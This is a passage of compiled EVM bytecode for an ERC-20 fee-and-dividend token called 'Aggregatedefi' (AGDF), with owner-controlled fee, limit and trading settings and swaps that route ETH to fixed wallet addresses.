007355bba85ec1d2db1258eafb6353a51614b9cd8c1073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600154600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60015460405162000876919062000c0e565b60405180910390a3505062000c2b565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200091457808604811115620008ec57620008eb62000886565b5b6001851615620008fc5780820291505b80810290506200090c85620008b5565b9450620008cc565b94509492505050565b6000826200092f576001905062000a02565b816200093f576000905062000a02565b8160018114620009585760028114620009635762000999565b600191505062000a02565b60ff84111562000978576200097762000886565b5b8360020a91508482111562000992576200099162000886565b5b5062000a02565b5060208310610133831016604e8410600b8410161715620009d35782820a905083811115620009cd57620009cc62000886565b5b62000a02565b620009e28484846001620008c2565b92509050818404811115620009fc57620009fb62000886565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000a2d8262000a09565b915062000a3a8362000a13565b925062000a697fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846200091d565b905092915050565b600062000a7e8262000a09565b915062000a8b8362000a09565b925082820262000a9b8162000a09565b9150828204841483151762000ab55762000ab462000886565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000af88262000a09565b915062000b058362000a09565b92508262000b185762000b1762000abc565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b558262000b28565b9050919050565b62000b678162000b48565b811462000b7357600080fd5b50565b60008151905062000b878162000b5c565b92915050565b60006020828403121562000ba65762000ba562000b23565b5b600062000bb68482850162000b76565b91505092915050565b62000bca8162000b48565b82525050565b600060408201905062000be7600083018562000bbf565b62000bf6602083018462000bbf565b9392505050565b62000c088162000a09565b82525050565b600060208201905062000c25600083018462000bfd565b92915050565b6151cb8062000c3b6000396000f3fe6080604052600436106102345760003560e01c806370a082311161012e578063a9059cbb116100ab578063dd62ed3e1161006f578063dd62ed3e14610862578063e87655cf1461089f578063efca2eed146108ca578063f2fde38b146108f5578063ffd49c841461091e5761023b565b8063a9059cbb14610769578063b56f742c146107a6578063be3bd137146107cf578063c1fe3e48146107f8578063ce7c2ac2146108235761023b565b80639358928b116100f25780639358928b1461069457806395d89b41146106bf578063997664d7146106ea578063a701f3de14610715578063a8aa1b311461073e5761023b565b806370a08231146105af578063715018a6146105ec57806377369b8014610603578063893d20e8146106405780638cd4426d1461066b5761023b565b8063313ce567116101bc5780634c2f840b116101805780634c2f840b146104b65780634fab0ae8146104f35780635a0ce6761461051e57806360e719621461054757806370338b8a146105725761023b565b8063313ce567146103cf5780633a98ef39146103fa5780633f4218e01461042557806341f6c98614610462578063420bbf201461048b5761023b565b8063209861e211610203578063209861e2146102fc57806323b872dd14610313578063293230b8146103505780632b0290e0146103675780632f54bf6e146103925761023b565b806306fdde0314610240578063095ea7b31461026b5780631605952a146102a857806318160ddd146102d15761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610949565b604051610262919061407d565b60405180910390f35b34801561027757600080fd5b50610292600480360381019061028d9190614138565b610986565b60405161029f9190614193565b60405180910390f35b3480156102b457600080fd5b506102cf60048036038101906102ca91906141da565b61099d565b005b3480156102dd57600080fd5b506102e6610a69565b6040516102f39190614229565b60405180910390f35b34801561030857600080fd5b50610311610a73565b005b34801561031f57600080fd5b5061033a60048036038101906103359190614244565b610a7e565b6040516103479190614193565b60405180910390f35b34801561035c57600080fd5b50610365610b49565b005b34801561037357600080fd5b5061037c610bae565b60405161038991906142a6565b60405180910390f35b34801561039e57600080fd5b506103b960048036038101906103b491906142c1565b610bc6565b6040516103c69190614193565b60405180910390f35b3480156103db57600080fd5b506103e4610c1f565b6040516103f1919061430a565b60405180910390f35b34801561040657600080fd5b5061040f610c28565b60405161041c9190614229565b60405180910390f35b34801561043157600080fd5b5061044c600480360381019061044791906142c1565b610c2e565b6040516104599190614193565b60405180910390f35b34801561046e57600080fd5b5061048960048036038101906104849190614325565b610c4e565b005b34801561049757600080fd5b506104a0610cb0565b6040516104ad91906142a6565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d891906142c1565b610cc8565b6040516104ea9190614229565b60405180910390f35b3480156104ff57600080fd5b50610508610de1565b6040516105159190614229565b60405180910390f35b34801561052a57600080fd5b5061054560048036038101906105409190614325565b610de7565b005b34801561055357600080fd5b5061055c610f47565b6040516105699190614229565b60405180910390f35b34801561057e57600080fd5b50610599600480360381019061059491906142c1565b610f4d565b6040516105a69190614229565b60405180910390f35b3480156105bb57600080fd5b506105d660048036038101906105d191906142c1565b610f9e565b6040516105e39190614229565b60405180910390f35b3480156105f857600080fd5b50610601610fe7565b005b34801561060f57600080fd5b5061062a600480360381019061062591906142c1565b6110aa565b6040516106379190614193565b60405180910390f35b34801561064c57600080fd5b506106556110ca565b60405161066291906142a6565b60405180910390f35b34801561067757600080fd5b50610692600480360381019061068d9190614138565b6110f3565b005b3480156106a057600080fd5b506106a96111be565b6040516106b69190614229565b60405180910390f35b3480156106cb57600080fd5b506106d46111ff565b6040516106e1919061407d565b60405180910390f35b3480156106f657600080fd5b506106ff61123c565b60405161070c9190614229565b60405180910390f35b34801561072157600080fd5b5061073c60048036038101906107379190614378565b611242565b005b34801561074a57600080fd5b5061075361136c565b60405161076091906142a6565b60405180910390f35b34801561077557600080fd5b50610790600480360381019061078b9190614138565b611392565b60405161079d9190614193565b60405180910390f35b3480156107b257600080fd5b506107cd60048036038101906107c8919061442e565b6113a9565b005b3480156107db57600080fd5b506107f660048036038101906107f191906141da565b6118b0565b005b34801561080457600080fd5b5061080d611953565b60405161081a91906142a6565b60405180910390f35b34801561082f57600080fd5b5061084a600480360381019061084591906142c1565b611979565b60405161085993929190614481565b60405180910390f35b34801561086e57600080fd5b50610889600480360381019061088491906144b8565b6119a3565b6040516108969190614229565b60405180910390f35b3480156108ab57600080fd5b506108b4611a2a565b6040516108c191906142a6565b60405180910390f35b3480156108d657600080fd5b506108df611a42565b6040516108ec9190614229565b60405180910390f35b34801561090157600080fd5b5061091c60048036038101906109179190614536565b611a48565b005b34801561092a57600080fd5b50610933611b0a565b6040516109409190614229565b60405180910390f35b60606040518060400160405280600d81526020017f4167677265676174656465666900000000000000000000000000000000000000815250905090565b6000610993338484611b10565b6001905092915050565b6109a633610bc6565b6109e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109dc906145af565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015610a5257610a4d826000611cd9565b610a65565b610a6482610a5f84610f9e565b611cd9565b5b5050565b6000600154905090565b610a7c33611eeb565b565b6000610a8b84848461217e565b610b3e8433610b398560405180606001604052806028815260200161516e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124939092919063ffffffff16565b611b10565b600190509392505050565b610b5233610bc6565b610b91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b88906145af565b60405180910390fd5b6001600a60146101000a81548160ff021916908315150217905550565b7355bba85ec1d2db1258eafb6353a51614b9cd8c1081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b60195481565b60086020528060005260406000206000915054906101000a900460ff1681565b610c5733610bc6565b610c96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8d906145af565b60405180910390fd5b826023819055508160248190555080602581905550505050565b7325f90ea62012e6843e1a11e3d437c5f42db1430e81565b600080602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015403610d1c5760009050610ddc565b6000610d69602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b90506000602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101549050808211610dc457600092505050610ddc565b610dd7818361251a90919063ffffffff16565b925050505b919050565b60245481565b610df033610bc6565b610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e26906145af565b60405180910390fd5b600061271084610e3d610a69565b610e4791906145fe565b610e51919061466f565b9050600061271084610e61610a69565b610e6b91906145fe565b610e75919061466f565b9050600061271084610e85610a69565b610e8f91906145fe565b610e99919061466f565b90508260028190555081600381905550806004819055506000610ee16103e8610ed36005610ec5610a69565b61253090919063ffffffff16565b61254690919063ffffffff16565b9050808410158015610ef35750808310155b8015610eff5750808210155b610f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3590614712565b60405180910390fd5b50505050505050565b60255481565b600080829050602160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154915050919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ff033610bc6565b61102f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611026906145af565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516110a091906142a6565b60405180910390a1565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6110fc33610bc6565b61113b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611132906145af565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401611176929190614732565b6020604051808303816000875af1158015611195573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b99190614770565b505050565b60006111fa6111cd6000610f9e565b6111ec6111db61dead610f9e565b60015461251a90919063ffffffff16565b61251a90919063ffffffff16565b905090565b60606040518060400160405280600481526020017f4147444600000000000000000000000000000000000000000000000000000000815250905090565b601a5481565b61124b33610bc6565b61128a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611281906145af565b60405180910390fd5b87600b8190555086600c8190555085600f8190555084600d8190555083600e819055508260108190555081601181905550806012819055506112d8600560135461254690919063ffffffff16565b6010541115801561130057506112fa600560135461254690919063ffffffff16565b60115411155b8015611323575061131d600560135461254690919063ffffffff16565b60125411155b611362576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113599061480f565b60405180910390fd5b5050505050505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061139f33848461217e565b6001905092915050565b6000601e8054905090506000339050600082036113c75750506118ab565b6000805a9050600080600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661157b575b888410801561147257508582105b156115765785602254106114895760006022819055505b6114d2601e602254815481106114a2576114a161482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661255c565b1561152157611520601e602254815481106114f0576114ef61482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611eeb565b5b6115466115375a8561251a90919063ffffffff16565b856125c990919063ffffffff16565b93505a92506022600081548092919061155e9061485e565b9190505550818061156e9061485e565b925050611464565b6118a4565b600061158686610cc8565b90506115da88600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251a90919063ffffffff16565b600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550878261162991906148a6565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008111156118a25761168a81601b546125c990919063ffffffff16565b601b81905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb87836040518363ffffffff1660e01b81526004016116ed929190614732565b6020604051808303816000875af115801561170c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117309190614770565b5042602060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117ca81602160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546125c990919063ffffffff16565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061185b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b602160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b505b5050505050505b505050565b6118b933610bc6565b6118f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118ef906145af565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60216020528060005260406000206000915090508060000154908060010154908060020154905083565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b7355bba85ec1d2db1258eafb6353a51614b9cd8c1081565b601b5481565b611a5133610bc6565b611a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a87906145af565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611aff9190614939565b60405180910390a150565b60235481565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b76906149c6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611be590614a58565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611ccc9190614229565b60405180910390a3505050565b600081118015611d2b57506000602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154145b15611d3e57611d39826125df565b611da0565b600081148015611d9057506000602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154115b15611d9f57611d9e8261268e565b5b5b611e0981611dfb602160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015460195461251a90919063ffffffff16565b6125c990919063ffffffff16565b60198190555080602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000181905550611ea1602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505050565b6000602160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154031561217b576000611f4182610cc8565b9050600081111561217957611f6181601b546125c990919063ffffffff16565b601b81905550601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401611fc4929190614732565b6020604051808303816000875af1158015611fe3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120079190614770565b5042602060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a181602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546125c990919063ffffffff16565b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020181905550612132602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546124e8565b602160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b505b50565b612189838383612895565b6121938383612a06565b61219e838383612b03565b6121a88383612cdc565b6121b3838383612da7565b6121bd8383612fdc565b61220f81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461251a90919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061225e8484613003565b6122685781612274565b6122738484846130b1565b5b90506122c881600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c990919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123689190614229565b60405180910390a3600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166123d4576123d3846123ce86610f9e565b611cd9565b5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612438576124378361243285610f9e565b611cd9565b5b6000602160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154111561248d5761248c83611eeb565b5b50505050565b60008383111582906124db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124d2919061407d565b60405180910390fd5b5082840390509392505050565b6000612513601d54612505601c548561253090919063ffffffff16565b61254690919063ffffffff16565b9050919050565b600081836125289190614a78565b905092915050565b6000818361253e91906145fe565b905092915050565b60008183612554919061466f565b905092915050565b600042602354602060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125ac91906148a6565b1080156125c257506024546125c083610cc8565b115b9050919050565b600081836125d791906148a6565b905092915050565b601e80549050601f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601e819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b601e6001601e805490506126a29190614a78565b815481106126b3576126b261482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601e601f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054815481106127315761273061482f565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601f60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601f6000601e6001601e805490506127d19190614a78565b815481106127e2576127e161482f565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601e80548061285d5761285c614aac565b5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055905550565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fb90614b4d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612973576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161296a90614bdf565b60405180910390fd5b600081116129b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129ad90614c71565b60405180910390fd5b6129bf83610f9e565b811115612a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129f890614d03565b60405180910390fd5b505050565b600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612aaa5750600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612aff57600a60149054906101000a900460ff16612afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612af590614d6f565b60405180910390fd5b5b5050565b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612ba75750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015612c015750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c3b575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612cd757600454612c9582600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c990919063ffffffff16565b1115612cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ccd90614ddb565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16148015612d835750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612da357600160156000828254612d9b91906148a6565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612eea5760035481111580612e565750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80612eaa5750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee090614e47565b60405180910390fd5b5b60025481111580612f445750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80612f985750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fce90614e47565b60405180910390fd5b505050565b612fe68282613259565b15612fff57612ff66016546133c4565b60006015819055505b5050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156130a95750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b6000806130be8585613663565b111561324e5760006130f66130d38686613663565b6130e86013548661254690919063ffffffff16565b61253090919063ffffffff16565b905061314a81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c990919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516131ea9190614229565b60405180910390a36000600f541115613233576132323061dead61322d600f5461321f6013548961254690919063ffffffff16565b61253090919063ffffffff16565b61217e565b5b613246818461251a90919063ffffffff16565b915050613252565b8190505b9392505050565b60008060165461326830610f9e565b10159050601860149054906101000a900460ff161580156132955750601460009054906101000a900460ff165b80156132ad5750600a60149054906101000a900460ff165b80156133035750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156133595750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156133b25750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156133bb5750805b91505092915050565b6001601860146101000a81548160ff02191690831515021790555060006134466002613438600d5461342a600e5461341c600c5461340e6001600b546125c990919063ffffffff16565b6125c990919063ffffffff16565b6125c990919063ffffffff16565b6125c990919063ffffffff16565b61253090919063ffffffff16565b9050600061347182613463600b548661253090919063ffffffff16565b61254690919063ffffffff16565b90506000613488828561251a90919063ffffffff16565b905060004790506134988261372f565b60006134ad824761251a90919063ffffffff16565b905060006134d86134c9600b548861251a90919063ffffffff16565b8361254690919063ffffffff16565b905060006134f1600b548361253090919063ffffffff16565b90506000811115613507576135068682613972565b5b6000613531600c5461352360028661253090919063ffffffff16565b61253090919063ffffffff16565b90506000811115613598577355bba85ec1d2db1258eafb6353a51614b9cd8c1073ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613596573d6000803e3d6000fd5b505b60006135c2600d546135b460028761253090919063ffffffff16565b61253090919063ffffffff16565b905060008111156135d7576135d681613a64565b5b600047111561363c577325f90ea62012e6843e1a11e3d437c5f42db1430e73ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561363a573d6000803e3d6000fd5b505b5050505050505050506000601860146101000a81548160ff02191690831515021790555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036136c4576011549050613729565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603613723576010549050613729565b60125490505b92915050565b6000600267ffffffffffffffff81111561374c5761374b614e67565b5b60405190808252806020026020018201604052801561377a5781602001602082028036833780820191505090505b50905030816000815181106137925761379161482f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015613839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061385d9190614eab565b816001815181106138715761387061482f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138d830600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611b10565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161393c959493929190614fd1565b600060405180830381600087803b15801561395657600080fd5b505af115801561396a573d6000803e3d6000fd5b505050505050565b61399f30600960009054906101000a9004